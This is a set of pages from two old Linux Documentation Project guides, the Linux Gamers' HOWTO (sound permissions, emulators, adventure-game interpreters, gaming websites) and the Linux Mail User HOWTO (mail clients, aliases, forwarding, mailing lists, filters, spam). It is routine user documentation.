You can find out which driver your sound card is using by doing "lsmod" or looking at the output of "dmesg". Since sound is crucial for me, I always compile sound into my kernels. If you don't have a driver loaded, you need to figure out what's been compiled into your kernel. That's not so straight forward. Your best bet is to compile your kernel. BTW, let me say that compiling your own kernel is the first step towards proficiency with Linux. It's painful the first time you do it, but once you do it correctly, it becomes very easy down the right, especially if you keep all your old .config files and make use of things like "make oldconfig". See the Kernel HOWTO for details.

If you haven't compiled the kernel yourself, there is an overwhelmingly good chance that your system is set up to load sound drivers as modules. That's the way distros do things. Have everything under the sun compiled as a module and try to load them all. So if you don't see your sound card's driver with lsmod, your card probably isn't configured yet.

9.3.5. Permissions Problem

If the sound card works when you're root but not any other user, you prolly have a permissions problem. If this is the case, as root, look at the group owner of the sound card using ls -l /dev/dsp; it'll prolly be audio. Then, as root, add your non-root user to the audio group in /etc/group. For example, I added the users p and wellspring to group audio on my system:

    audio:x:29:p,wellspring

Then log out and log back in as the non-root user. Your sound card should work. Thanks to James Barton for reminding me to add this to the howto.

Prev | Home | Next
Hardware |  | Emulation and Virtual Machines


Emulation and Virtual Machines

The Linux Gamers' HOWTO
Prev Next

10. Emulation and Virtual Machines

Linux gets ragged on alot because we don't have the wealth of games that other platforms have. Frankly, there's enough games for me, although it would be really nice to have some of the bleeding edge games and classics like Half-life and Carmageddon. Fortunately, we have more emulators than you can shake a stick at. Although playing an emulated game is not quite as fun as playing it on the native machine, and getting some of the emulators to work well can be a difficult task, they're here, and there's alot of them!

10.1. Apple 8-bit

All the 8-bit Apple ][ emulators require a copy of the original ROM, for whichever system you want to emulate, in a file. If you search hard enough, you can find file copies of the ROMs for the Apple ][, ][+, ][e, ][c and //gs. They are still copyrighted by Apple, and you can only use them legally if you actually own one of these computers.

10.1.1. KEGS

KEGS is an Apple II emulator written by Kent Dickey <kentd@cup.hp.com> which was originally written for HP-UX, but improved and customized for Linux. It runs under X at any color depth, and supports changeable memory sizes, joysticks, and sound. KEGS boots all Apple II variants, and supports all of the Apple ]['s graphics modes. I can't find a working homepage for this application.

10.1.2. apple2 and xapple2

The SVGAlib based apple2 and X based xapple2 can emulate any Apple ][ variant except for the //gs. The interface is a bit funky, but usable. Configuration is also a bit funky, too; this emulator would benefit from an SVGA or X based configuration tool. It supports the undocumented portion of the 6502 instruction set which some games rely on. apple2 is currently being maintained by Michael Deutschmann <michael@talamasca.ocis.net> and seems to be developed at a slow but constant pace. I don't think this application has a homepage.

10.2. DOS

10.2.1. dosemu

dosemu <www.dosemu.org> is the canonical DOS emulator on Linux. When you think of DOS, don't think of things like PROCOM PLUS OR OTHER PROGRA~1 WHICH HAVE SHORT NAMES AND ARE IN ALL CAPS. There are some real classics that were written for DOS like Carmageddon, Redneck Rampage and Tomb Raider. dosemu can run these. Unfortunately, it can take alot of effort to get dosemu to work, and of Jan 2002, the sound code is somewhat broken. Not a big deal when you're trying to run Wordperfect or an old database application. It's an absolute show stopper for gaming. Getting dosemu to work well is not easy, but unfortunately, for DOS games it's the best avenue. Good luck. If you have success using dosemu, I would like to hear from you.

10.3. Win16

10.3.1. Wabi

Wabi is a commercial Win16 emulator. That is, it'll run Windows 16-bit applications from a Windows 3.1, Windows 3.11 or Windows for Workgroups 3.11 environment. Wabi was originally created by SCO Unix a long time ago and then was purchased by Caldera sometime in mid year 2001.

Wabi is fast and does a good job for what it does, although I've heard it said that wabi for Solaris is more stable than Linux. It might be useful for playing older Win16 games, but there are three problems:

  • You must have a licensed copy of Windows 3.1/3.11 or WfW 3.11.

  • Wabi is awfully expensive for what it does.

  • Wabi doesn't work under 32bpp or 24bpp color.

Wabi does NOT do DOS itself, but it looks like it can use a DOS emulator as a backend for running DOS programs. There was talk about Wabi 3.0 which would've done Win32 emulation, but AFAIK, this project was shelved indefinitely. I think Wabi will run under Linux on all architectures (can someone verify this?)

10.4. Win32

10.4.1. wine

Wine <www.winehq.com>, which bears the GNUish acronym "Wine Is Not An Emulator" is a non-commercial implementation of the Win32 API. The reason why it's not an emulator is subtle and not of much interest to most non computer scientists, so we'll call it an emulator here (it really does run-time translation of calls to the Win32 API to POSIX/X11 calls). Wine has come a long way, and is capable of emulating many important programs, which is great news for Linux users who want this sort of stuff.

Wine does not provide the DOS API, so you can't use it to run DOS applications. For that, you should look at dosemu (Section 10.2.1). Wine has never been too good at implementing DirectX, although a number of games are known to work under wine. For gaming you might want to look at winex (Section 10.4.3).

In addition to run-time translation of the Win32 API to POSIX/X11 (it runs Windows applications on Linux), wine also does compile-time tranlation of the Win32 API to POSIX/X11 (it compiles Windows application source code on Linux). In this sense, wine is a Windows-to-Linux porting utility. The x86 architecture isn't required, but is recommended since it allows actual x86 binary execuation as well as direct DLL usage).

You can use wine `with Windows', which means that wine uses libraries that actually come with Microsoft Windows itself. This is legal only if you own a copy of Windows which isn't currently being used on a computer. It's said that wine has the best success when run with Windows. You can also run wine without Windows. The people at winehq are writing their own set of libraries called libwine which implements the Win32 API with no Microsoft code at all.

Wine was originally licenced under the MIT/X11 license, so it could be used for both commercial and non-commercial purposes. In mid 2002, parts of wine were re-licensed under the LGPL so that it could only be used for non-commercial puposes. This presents a problem for companies like Transgaming (Section 10.4.3) and prompted a fork of wine called ReWind (Section 10.4.2).

10.4.2. rewind

Rewind <http://rewind.sourceforge.net/> was started by Eric Pouech (a wine developer) and Ove Kåven (a winex developer) in response to wine's license change (Section 10.4.1). It started out life as a snapshot of the last version of wine which was completely licensed under the MIT/X11 license. The aim is to keep rewind MIT/X11 based so that companies like Transgaming can offer wine based products.

10.4.3. winex

Winex is released by a company called Transgaming <http://www.transgaming.com>. The developers take wine (see Section 10.4.1) and add DirectX / DirectDraw support. Although winex is commercial, they have an interesting business model.

The end user (you) can download the source code for free. However, for 5 US dollars per month, you can become a subscriber of Transgaming. Being a subscriber of Transgaming gives three major benefits:

  • Subscribers can download convenient packaged versions of winex in deb, rpm or tar.gz format whenever they want, including updates.

  • There are monthly polls where subscribed users can take votes on what they want winex developers to work on. For instance, they can vote for things like "Improve support for copy protected programs", "Better Installshield support" or "Improve DirectX 8.0 support". As far as I can see, the developers really do listen to the subscriber polls.

  • The Transgaming website has a few user support forums. On one hand, they use the most godawful, horrible, confusing, wasteful, moronic format I've ever seen and I hope to god I never see a forum with a format as bad as Transgaming's. On the other hand, you can ask for help and the developers are VERY good about getting around to your answer; their vigilance is quite impressive. Non-subscribers can browse the forums, but only subscribers can post (and therefore, ask for support).

The developers of winex were going to release their Installshield, DirectX and DirectDraw enhancements to wine "every so often". In return, as wine matured improved, the winex developers were going to take the new versions of wine and use them for winex. However, since the birth of Transgaming, parts of wine have been re-licensed under the more restrictive GNU LGPL license (Section 10.4.1). This basically means that versions of wine that are released past the date of the re-licensing can no longer be used by winex. Therefore, winex will now be based on rewind (Section 10.4.2).

10.4.4. Win4Lin

Win4Lin <www.netraverse.com/products/win4lin30/> is a commercial product by Netraverse. Like vmware (Section 10.4.5) it uses the virtual machine approach to running Windows applications, so you'll get a big window from which you can boot Windows and run all kinds of Windows applications. Unlike vmware, win4lin only does Windows 95/98/ME, but this turns out to be better for gamers. Because win4lin concentrates on these operating systems, reports say that it's faster and does a better job at running games under these operating system than vmware. It's also much cheaper than vmware. The most recent version of Win4Lin as of May 2002 is 4.0.

  • It does not support DirectX or DirectDraw, while vmware has "limited" support for DirectX.

  • It only supports serial and parallel devices. This is important for people who use USB joysticks. Note that vmware supports up to 2 USB devices.

  • As of January 2002, expect to pay $80 without printed docs and $90 with printed docs. In addition, there isn't an evaluation copy available, although you get a 30 day money back guarantee. However, since it's commercial you do get tech support. vmware is considerably more expensive.

  • Like vmware, you're required to have a licensed copy of Win95 or Win98. Win4Lin cannot use an existing Windows installation the way wine can.

  • It only runs on x86 architectures.

If your goal is to run Win95/98/ME applications on Linux, without USB and on the x86 architecture, Win4Lin's cost and focus on Win95 type OS's make it a better choice than vmware. However, if you must have USB support or run Linux on a platform other than x86, vmware is your only option.

Now if you're goal is to run Win95 type OS games under Linux, Win4Lin almost seems better than vmware. The show-stopper is the fact that vmware has limited DirectX support while Win4Lin has none. This fact alone makes both Win4Lin and vmware unsuitable for most hardcore gaming purposes. But if you're going to give it a try, you're more likely to have success with vmware.

10.4.5. VMWare

Prev | Home | Next
Miscellaneous Problems |  | Interpreters


Interpreters

The Linux Gamers' HOWTO
Prev Next

11. Interpreters

11.1. SCUMM Engine (LucasArts)

Lucasarts wrote an engine for point and click adventures named SCUMM (Script Creation Utility for Maniac Mansion). They wrote many graphical adventures using SCUMM, like their famous Monkey Island series (all three). Ludvig Strigeus <strigeus@users.sourceforge.net> was able to reverse engineer the SCUMM format and write an interpreter for SCUMM based games that compiles under Linux and Win32 named scummvm <http://scummvm.sourceforge.net/>. Their website is very good, and chock full of any kind of information about SCUMM and playing these games under scummvm.

A compatibility page is maintained at the scummvm website. FWIW, I've been able to finish many of the games that are listed as 90% done with no problems. scummvm is rock solid, and allows you to purchase SCUMM based Lucas Arts games, copy the data files to your hard drive and play them under Linux. As of February 2002, I've been following their cvs, and this project is undergoing constant development. Kudos to the scummvm team.

11.2. AGI: Adventure Gaming Interface (Sierra)

The older Sierra DOS graphical adventure games used a scripting language named AGI (Adventure Gaming Interface). Some examples of games written in AGI would be Leisure Suit Larry I (EGA), Space Quest I and II, King's Quest II, Mixed-Up Mother Goose and others. These games can be played using sarien <sarien.sourceforge.net>, an open source interpreter for AGI games.

Sarien was written in SDL, so it should run on any platform that can compile SDL programs. In addition, there are versions for DOS, Strong-Arm based pda's, QNS (holy cow! embedded gaming!), MIPS based systems and SH3/4 based Pocket PC's. The developers are clearly out of their minds (in a good way!). Sarien also has numerous enhancements not found in the original games, like a Quake style pull-down console, picture and dictionary viewer, enhanced sound and support for AGDS, a Russian AGI clone. Sarien is under development and the developers have been very good about documenting the Sarien internals if anyone wants to get involved in hacking it.

11.3. SCI: SCript Interpreter or Sierra Creative Interpreter (Sierra)

The newer Sierra graphical adventure games (we're talking about the late 80's here) used an interpreter named SCI. There were many versions of SCI since Sierra was constantly improving its engine. The original SCI games were DOS based, but Sierra eventually started releasing Win32 SCI based games. Some examples of games written with SCI are Leisure Suit Larry 1 (VGA), Leisure Suit Larry 2-7, Space Quest 3-6, King's Quest 4-6, Quest For Glory 1-4 and many others. Compared with AGI games, SCI adventures have better music support, a more complex engine and loads of bells and whistles.

Many SCI based games (games written in SCI0) can be played using freesci, available at freesci.linuxgames.com. Like Sarien, FreeSCI has many graphics targets including SDL, xlib and GGI, so this game can compile and run under an incredible number of platforms. The developers have done a fantastic job of documenting and FAQing their application.

11.4. Infocom Adventures (Infocom, Activision)

The Z-machine is a well documented <http://www.gnelson.demon.co.uk/zspec/index.html> virtual machine designed by Infocom to run their interactive fiction games. This allowed them to write game data files in a cross platform manner, since only the engine itself, the Z-machine, would be platform dependent. Z-machine went through a number of revisions during the lifetime of Infocom, and two further revisions (V7 and V8 created by Graham Nelson) after the Infocom's demise. The later versions even supported limited sound and graphics!

One of the most popular Z-machine interpreters is Frotz <http://www.cs.csubak.edu/~dgriffi/proj/frotz/>. This excellently done page has many nice links for interactive fiction fans. Frotz is GPL, runs all versions of Z-machine and will compile on most versions of Unix. Frotz has spawned many forks, like a version for PalmOS and Linux based PDA's.

jzip <http://jzip.sourceforge.net/> is another very popular Z-machine interpreter that will run V1-V5 and V8 Z-machine data files. jzip is very portable; it compiles on all Unices, OS/2, Atari ST and DOS.

There are actually many other Z-machine interpreters like nitfol and rezrov (written in Perl!). Each interpreter has its own set of strengths, and you can find links to them on the home pages for Frotz and jzip.

11.5. Scott Adams Adventures (Adventure International)

Scott Adams is, arguably, the father of interactive fiction. Although he himself was inspired by the first piece of interactive fiction, Adventure, Scott brought adventuring to the masses. His games were available for Atari, Apple 2, Commodore, Sorcerer, TI, and CPM. His company, Adventure International, released a number of much loved games between 1978 and 1984 before folding. He recently released a new game (a Linux version is not available) but since the decline of adventuring, he has pretty much kept out of the gaming industry.

Alan Cox wrote scottfree, a Scott Adams adventure game file interpreter for Unix. Using scottfree and any of the Scott Adams data files which can be downloaded from Scott's website <http://www.msadams.com/> you can enjoy these classics.

11.6. Ultima 7 (Origin, Electronic Arts)

Ultima 7 is actually 2 games: part I (The Black Gate) and part II (Serpent Island) which uses a slightly enhanced version of The Black Gate's engine. In addition, an addon disk was released to both part I (The Forge Of Virtue) and part II (The Silver Seed).

A team of people developed Exult <http://exult.sourceforge.net/> which is an open source interpreter that will run both parts of Ultima 7 and their addon disks. Exult is written in C++ using SDL, so it will compile on any platform that can compile SDL programs. It also features some enhancements over the original versions of the Ultima VII engine. You'll need to purchase a copy of Ultima 7 to play. The developers have no plans on extending Exult to interpret the other Ultimas since the engines changed so radically between releases.

The Exult team has also been hard at work creating a map editor, Exult Studio, and a script compiler that will let users create their own RPG in the Ultima style.

Prev | Home | Next
Emulation and Virtual Machines |  | Websites


Websites

The Linux Gamers' HOWTO
Prev

12. Websites

12.1. Meta gaming websites

The Linux Game Tome: www.happypenguin.org

About the games themselves.

linuxgames: www.linuxgames.com

Linux gaming news

www.holarse.net

Linux meta gaming site for German speaking folk.

12.2. Commercial Linux Game Websites

12.2.1. Where to buy commercial games

ebgames <www.tuxgames.com> no longer sells Linux software. They stopped selling Linux games and distributions at around the same time Loki Software declared bankruptcy, which is a shame because they had the lowest prices on Linux games I've ever seen.

Tux Games: www.tuxgames.com

Your one stop shop for buying any commercial Linux game (software vendors like Tribsoft and Loki have online shops at their websites too).

12.2.2. Who Used To Release Games For Linux

These are companies that used to release games for Linux but for whatever reasons aren't actively involved in Linux games anymore.

Loki Software: www.lokigames.com

As the company that brought CTP and Quake3 to Linux, Loki was the father of Linux gaming. They were one of the first and had, by far, the most titles (I own ALL of them). Loki ported games to Linux, mostly using the SDL library. Loki's death in January 2002 was the biggest setback Linux has ever had in its attempt to capture the general desktop market. Linuxgames.com has a nice Loki timeline at http://www.linuxgames.com/articles/lokitimeline/

Tribsoft: www.tribsoft.com

Tribsoft released Jagged Alliance 2, an excellent rpg/strat which claimed 2+ weeks of my life. There were slated to release Europai Universalis, Majesty and Unfinished Business. However, as of 3Jan01, Mathieu Pinard of Tribsoft said that he was taking a break and Tribsoft would no longer release games for awhile. He'll still support JA2 but don't expect patches or updates.

MP Entertainment: www.hopkinsfbi.com

MP Entertainment released Hopkins FBI, my favorite game ever released for Linux. More violent than Quake. More nudity than Hustler. More camp than Liberacce. It's a comic book on your monitor. They were slated to release Hopkins FBI II and a few other titles, but it's been a few years since the announcements with no sign that the games are coming. They've ignored all my attempts at finding out more information, so I have to conclude that MP Entertainment is in the same status as Tribsoft. You can still purchase or download a demo of Hopkins FBI from their website. If anyone has more information on this company or the author of Hopkins, please contact me.

Phantom EFX: www.phantomefx.com

They offer Reel Deal Slots, which is very nicely done! I'm not much for card/gambling games, but this game is impressive! Because their Linux guy quit the company, Reel Deal Slots is their first, and so far, last release for Linux.

12.3. Other Websites Of Note

This section has URL's that should be mentioned but didn't have a separate section within the howto, so I list them here as a kind of appendix.

Linux Game Publishing: www.linuxgamepublishing.com

Linux Publishing doesn't sell directly to the public, but provides professional game publishing to authors of publishing. I think this means disk copying, packaging and selling to retailers.

XFree86 Homesite: www.xfree86.org

XFree86 home page

12.3.1. Game Development

Linux Game Development Center: http://lgdc.sunsite.dk/index.html

This is the canonical website for people who want to program games under Linux. It's a clearing house of information that contains well written articles on all aspects of game programming (not necessarily Linux specific), links to important game programming resources, interviews, reviews, polls and lots of other stuff. It's hard to imagine a better website on the subject.

12.3.2. Medium Level Libraries

Clanlib <www.clanlib.org>

ClanLib is a medium level development kit. At its lowest level, it provides a platform independent (as much as that is possible in C++) way of dealing with display, sound, input, networking, files, threadding and such. ClanLib builds a generic game development framework, giving you easy handling of resources, network object replication, graphical user interfaces (GUI) with theme support, game scripting and more.

Prev | Home
Interpreters |


Administrivia

The Linux Mail User HOWTO
Prev

5. Administrivia

5.1. Feedback

(Vince wrote this section, but my policy is the same.)

I am interested in any feedback, positive or negative, regarding the content of this document via e-mail. Definitely contact me if you find errors or obvious omissions.

I read, but do not necessarily respond to, all e-mail I receive. Requests for enhancements will be considered and acted upon based on that day's combination of available time, merit of the request, and daily blood pressure :-)

Flames will quietly go to /dev/null so don't bother.

In particular, the Linux filesystem standard for pathnames is an evolving thing. What's in this document is there for illustration only based on the current standard at the time that part of the document was written and in the paths used in the distributions or `kits' I've personally seen. Please consult your particular Linux distribution(s) for the paths they use.

Feedback concerning the actual format of the document should go to the HOWTO coordinator - mail to linux-howto@metalab.unc.edu).

5.2. Copyright Information

The Mail-User-HOWTO is copyrighted (c)1999 Eric S. Raymond. Copyright is retained for the purpose of enforcing the Linux Documentation Project license terms.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if it includes a notice on who translated it.

Short quotes may be used without prior consent by the author. Derivative work and partial distributions of the Mail-HOWTO must be accompanied with either a verbatim copy of this file or a pointer to the verbatim copy.

Commercial redistribution is allowed and encouraged; however, the maintainer would appreciate being notified of any such distributions (as a courtesy).

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents.

We further want that all information provided in the HOWTOS is disseminated. If you have questions, please contact the Linux HOWTO coordinator, at <linux-howto@metalab.unc.edu>.

5.3. Standard Disclaimer

Of course, we disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

5.4. Acknowledgements

This was originally authored by Vince Skahan. I have rewritten it for the modern ISP-centric world in which UUCP is little more than a memory.

In May 1999, the name was changed from "The Linux Electronic Mail HOWTO" to avoid a collision with Guylhem Aznar's Mail HOWTO, which will become the Mail Administrator HOWTO.

Prev | Home
Other sources of information |


Advanced topics

The Linux Mail User HOWTO
Prev Next

3. Advanced topics

3.1. Aliases

An `alias' is a way to set up a pseudo-address that simply directs mail to another (single) address. There are two kinds of aliases: MUA aliases and MTA aliases.

An MUA alias is one you set up in your MUA as a kind of personal shorthand. Other people will not be able to see or use this alias. For example, you could write:

alias esr	Eric S. Raymond	<esr@thyrsus.com>

in your mutt configuration file. This would tell mutt that when it sees `esr' in an address line, it should behave as through you had typed `esr@thyrsus.com', Or you can type `mutt esr' and the expanded address will be automatically filled in on the `to' line.

An MTA alias is one your MTA expands; it will be usable by everyone, both on your machine and remotely. To create MTA aliases you must modify a system file, usually but not always /etc/aliases or /etc/mail/aliases (the location depends on your MTA). It may be instructive for you to look at the the aliases on your system; it should contain a number of standard aliases such as `postmaster'.

Your MTA may also allow the target of an alias to be a filename, which will be treated as a mailbox the mail is to be appended to (this is useful for archiving mail). It may also allow the target of an alias to be a program, in which case mail to that alias will be passed to an instance of the program on its standard input.

3.2. Forwarding

MTA aliases usually require administrator privileges to set up. But it is desirable for mail users to be able to set up forwarding of their own mail without administrator intervention.

To support this, most MTAs follow sendmail's lead and look for a file called .forward in your home directory. The contents of this file is interpreted like the target of an alias which should receive all your mail. The most common use for this facility is to redirect your mail to an account on another machine.

3.3. Auto-replying

Another common use for the .forward facility is to pass your mail to a `vacation' program. A vacation program reads incoming mail and automatically generates a canned reply to it; they are so called because the most common form of canned reply is to inform the sender that you are on vacation and will not be reachable until a given date.

There is no one standard vacation program that is in universal use. There are two good reasons for this: one, that such a program is very easy to write as a shellscript or filter rule (see below); and two, that vacation programs interact badly with mailing lists.

You should temporarily unsubscribe from all mailing lists you are on before setting up auto-answering; otherwise, all members of the mailing lists mail find they are being flooded with canned messages by your vacation program. This is considered very rude behavior and will guarantee you quite a frosty reception on your return.

3.4. Mailing lists

A mailing list is a pseudo-address that sends mail to more than one user.

In its simplest form, mailing list is just an MTA alias with more than one recipient. Some small mailing lists are maintained this way. Sendmail assists by supporting a syntax in /etc/aliases that includes the contents of a given mailing list file in the target side of an alias. It looks like this:

admin-list:     ":include:/usr/home/admin/admin-list"

with the advantage that the admin-list file can live in unprivileged-user space somewhere (root is only needed to set up the original inclusion). Some other MTAs have similar features.

These simple lists are commonly called `mail reflectors'. There are a couple of problems with mail reflectors. One is that bounce messages from failed attempts to broadcast goes to all users. Another is that all subscriptions and unsubscriptions have to be done manually by the mailing list administrator.

A kind of software called a mailing list manager has evolved to address these problems and other related ones. Its most important function is to permit mailing list users to subscribe and unscubscribe without going through the list maintainer.

A mailing-list manager keeps its own user-list information and hooks up to the MTA through a program alias in /etc/aliases. For example, if the admin-list above were going through the mailing list manager called SmartList on a sendmail system, a portion of /etc/aliases might look like this:

admin-list: "|/usr/home/smartlist/bin/flist admin-list"
admin-list-request: "|/usr/home/smartlist/bin/flist admin-list-request"

Note that this is a pair of aliases. It is conventional for real mailing lists to have a request address to be used for user subscription and unsubscription requests. It is considered rude and ignorant to send subscription/unsubscription requests to the main address of such a list -- don't do it.

The robot sitting behind the request address may offer other features besides just subscription/unsubscription. It may respond to help requests, allow you to query who is on the list, or give you automated access to list archives. It may also allow list administrators to restrict posting to known members, set the list to auto-subscribe nonmembers when they first post, or set various security policy options. Mailing-list managers differ primarily in the design and range of these secondary features.

Unfortunately, the format for sending commands to mailing-list request robots is not standard. Some expect commands in the subject line, some ignore the subject line and expect commands in the message body. You need to pay attention to the response mail you get when you first subscribe; it's a good idea to save such mail to a subscriptions mailbox for later reference.

The most important mailing-list managers to know about are majordomo, listserv, listproc, and smartlist; majordomo is the most popular by a considerable margin. Recently, mailman, a list manager with a rather nice Web-based signon/signoff/administration interface, has become very popular and may be in the pricess of obsolescing the older programs. There is a rather comprehensive list of such packages on the Web.

For more about mailing list managers, consult the resources at the List-Managers Mailing List, including the FAQ (note: this list is not appropriate for how-to questions).

3.5. Mail filters

A mail filter is a program that sits between your local delivery agent and you, automatically dispatching or rejecting mail before you see it.

Mail filters have a number of uses. The most important are spam filtering, dispatching to multiple mailboxes by topic or sender, and auto-answering mail.

Typically, you set up mail filtering by putting a program alias for the filter program in your .forward file, and writing a file of filtering rules. The format and location of the filter rules file varies between filter programs.

There are good feature summaries of the three major mail filters (procmail, mailagent, and deliver) in part 3 of Chris Lewis's Email Software Survey. The most popular of these is (despite its rather nasty rule syntax) procmail, which is universally present on Linux systems (and, indeed, is generally used as the system's local delivery agent).

3.6. Coping with spam

Spam is sometimes known as `UCE' (Unsolicited Commercial Email) or `UBE' (Unsolicited Bulk Email). As these names imply, it is an obnoxious form of advertising that stuffs your mailbox with form letters. (The term `spam' comes from a Monty Python's Flying Circus skit in which a choir of Vikings endlessly repeats the chant "Spam spam spam spam...").

Most spam seems to consist of solicitations for pyramid schemes, ads for pornography, or (annoyingly) attempts to sell spam-sending programs. A few individual spams (like MAKE MONEY FAST or the Craig Shergold postcard hoax) have been so persistent as to become legendary. Spam tends to be both verbose and illiterate. It's a waste of time and a huge waste of network bandwidth.

The spam epidemic seems to have peaked in mid-1997 and been slowly in decline since, but it can still be a serious annoyance. If you're being deluged with spam, get educated. Browse the Fight Spam on the Internet! page. The Death To Spam! page is particularly effective on methods for stopping or backtracking spam.

Prev | Home | Next
Mail User Agents |  | Other sources of information


The Linux Mail User HOWTO

Eric Steven Raymond

Thyrsus Enterprises

esr@thyrsus.com

Copyright © 2000 by Eric S. Raymond

Revision History
Revision 3.2 | 22 February 2001 | Revised by: esr
LDP Styleguide markup fixes.
Revision 3.1 | 8 December 2000 | Revised by: esr
Mention Mailman.
Revision 3.0 | 12 August 2000 | Revised by: esr
First DocBook version.

This document is an introduction to the world of electronic mail (email) under Linux. It focuses on user-level issues and typical configurations for Linux home and small-business machines connected to the net via an ISP.

You need to read this if you plan to communicate locally or to remote sites via electronic mail. You probably do not need to read this document if don't exchange electronic mail with other users on your system or with other sites.

For information on configuring and administering mail, see the Mail Administrator HOWTO.

Table of Contents
1. Introduction
1.1. New versions of this document
1.2. Hardware requirements for email programs
1.3. Software sources for email programs
2. Mail User Agents
2.1. Setting your mail editor
2.2. mutt
2.3. elm
2.4. pine
2.5. Netscape
2.6. Emacs rmail/smail and vm.
2.7. BSD mail
2.8. Other user agents
3. Advanced topics
3.1. Aliases
3.2. Forwarding
3.3. Auto-replying
3.4. Mailing lists
3.5. Mail filters
3.6. Coping with spam
4. Other sources of information
4.1. USENET
4.2. Books
4.3. Periodic USENET Postings
4.4. Where not to look for help
5. Administrivia
5.1. Feedback
5.2. Copyright Information
5.3. Standard Disclaimer
5.4. Acknowledgements
Next
Introduction


Introduction

The Linux Mail User HOWTO
Prev Next

1. Introduction

The intent of this document is to explain how email works, and answer some of the questions that appear to meet the definition of `frequently asked questions' about e-mail software under Linux.

Modern Linux distributions give you a usable, preconfigured setup for electronic mail out of the box, usually featuring a late version of sendmail-v8. This HOWTO will assume that you have such a setup and a working Internet connection.

(For information on how to set up a PPP or SLIP link to an ISP, see the ISP Hookup HOWTO.)

Accordingly, unlike Vince Skahan's 1.x versions, this HOWTO focuses on user issues and architecture; most technical hair about UUCP, IDA sendmail and other formerly important topics has been dropped.

1.1. New versions of this document

This document will be posted monthly to the newsgroup comp.os.linux.answers You should also be able to view the latest version of this HOWTO on the World Wide Web at http://metalab.unc.edu/LDP/HOWTO/Mail-User-HOWTO.html.

1.2. Hardware requirements for email programs

There are no specific hardware requirements for mail under Linux. If you have the hardware necessary to connect to the Internet, it can support email over that link.

1.3. Software sources for email programs

The software you will need for email support is probably preinstalled in your Linux distribution. You will find updates on the Metalab Linux Archive, especially in the mail subdirectory.

Prev | Home | Next
The Linux Mail User HOWTO |  | Mail User Agents


Mail User Agents

The Linux Mail User HOWTO
Prev Next

2. Mail User Agents

This section contains information related to user agents, which means the software the user sees and uses. This software relies on the transport agents described in the Mail Administrator's HOWTO (which also include user-agent configuration and troubleshooting tips for administrators).

2.1. Setting your mail editor

Mail user agents call out to some editor to assist composition of mail. Which editor is the default varies. Most of them respect a convention going back to Unix's early days; the contents of the environment variable VISUAL, if it exists, is taken as the name of your preferred editor. If VISUAL is not set, the variable EDITOR is checked.

Popular values for EDITOR include vi and emacs. But if you are, like me, the sort who always has an Emacs running, the most useful way to set EDITOR is to the value emacsclient. Use this with the following lines in your .emacs file:

(autoload 'server-edit "server" nil t)
(server-edit)

The emacsclient program, when it runs, tries to establish communication with an Emacs instance you already have running and hand the mail message temporary file to that Emacs to be edited. The effect of this will be that when your mailer calls out for an editor, a mail composition window pops open inside your Emacs.

When you are ready to hand the file back to the mailer for sending, type C-x #. The mail buffer will leave your display and the emacsclient instance your mailer called will return, handing control back to the mailer.

It is possible to have more than one emacsclient instance open at once without confusing Emacs. However, calling up another Emacs while an emacsclient session is running can confuse emacsclient enough that it won't be able to find either instance afterwards. If this happens, shut down all your Emacs instances and restart just one.

2.2. mutt

This is what I use and recommend. It is descended from elm and has similar commands by default, but is much more powerful and configurable. It can be a POP3 or IMAP client, and includes excellent support for MIME and PGP. There is a Mutt home page on the web.

Mutt respects the EDITOR/VISUAL convention.

2.3. elm

Elm was the first modern, screen-oriented Unix mailer, but has been stagnant for years now and is being displaced by Mutt. Some versions of elm have POP3 support built in. For more information, see the elm sources and installation instructions in the Metalab mail user agents directory. Here are a few points that occasionally trip people up:

No, stock elm is not PGP-aware. There are PGP support patches, but Mutt's PGP support is superior. If you want to use PGP, I recommend Mutt.

Elm respects the EDITOR/VISUAL convention.

2.4. pine

Pine is a user agent designed for novices; it includes news-reading capability and built-in support for the IMAP remote-mail protocol. A lot of people swear by it for new users. I find its impoverished command set, limited configurability and native editor hard to take. It has excellent built-in IMAP support, however. If you want to check it out, the distribution is available at http://www.washington.edu/pine.

Pine respects the EDITOR/VISUAL convention.

2.5. Netscape

The Netscape browser has POP3 and IMAP remote-mail capability built into it, so it can be used as a mail user agent. I don't recommend this; it doesn't specialize in being an MUA, and therefore does not offer many of the services that real MUAs do (such as aliases and PGP handling). It does, however, support LDAP and SSL.

Netscape supplies its own mini-editor, the same one used throughout the browser (e.g. for text fields in forms).

2.6. Emacs rmail/smail and vm.

Emacs has a mode called smail that can send mail, and another called rmail that can read mail. The smail mode can be quite useful, as you get to compose mail inside a full Emacs environment (but see also the discussion of emacsclient elsewhere in this document).

The rmail mode, on the other hand, is not recommended. Every time you run it, it converts your inbox to BABYL format; ordinary mail tools will choke on that. (If this happens to you, do M-x unrmail from the Emacs command line.)

There is a mailreader for emacs called `vm' that writes and reads standard V7 mailboxes. It is not distributed with GNU Emacs, but you can find its home page at http://www.wonderworks.com/vm/.

Emacs smail/rmail/vm do not respect the EDITOR/VISUAL convention. Instead, you use the Emacs they're embedded in.

2.7. BSD mail

If you simply type `mail' to the shell on a Linux or any other modern Unix, you will invoke some variant of the BSD Mail program. It has a line-oriented interface originally designed for use on TTYs. It is, at this point, only of historical interest.

BSD Mail invented the EDITOR/VISUAL convention.

2.8. Other user agents

The following also are known to run under Linux. Consult `archie' to find them...

mush

mail user's shell, very powerful for filtering andbatch processing

mh

mail handler, yet another mail user agent

I don't know enough about mh or mush to describe them in detail. They both have rather complex interfaces and are designed for sophisticated mail users.

Prev | Home | Next
Introduction |  | Advanced topics


Other sources of information

The Linux Mail User HOWTO
Prev Next

4. Other sources of information

4.1. USENET

There are a number of Usenet groups devoted to electronic-mail technical issues:

comp.mail.elm

the ELM mail system.

comp.mail.mh

The Rand Message Handling system.

comp.mail.mime

Multipurpose Internet Mail Extensions.

comp.mail.misc

General discussions about computer mail.

comp.mail.multi-media

Multimedia Mail.

comp.mail.mush

The Mail User's Shell (MUSH).

comp.mail.sendmail

the BSD sendmail agent.

comp.mail.smail

the smail mail agent.

comp.mail.uucp

Mail in the uucp environment.

4.2. Books

The following is a non-inclusive set of books that will help...

Sendmail

from O'Reilly and Associates is the definitive reference on sendmail-v8 and sendmail+IDA. It's a ``must have'' for anybody hoping to make sense out of sendmail without bleeding in the process.

The Internet Complete Reference

from Osborne is a fine reference book that explains the various services available on Internet and is a great source for information on news, mail, and various other Internet resources.

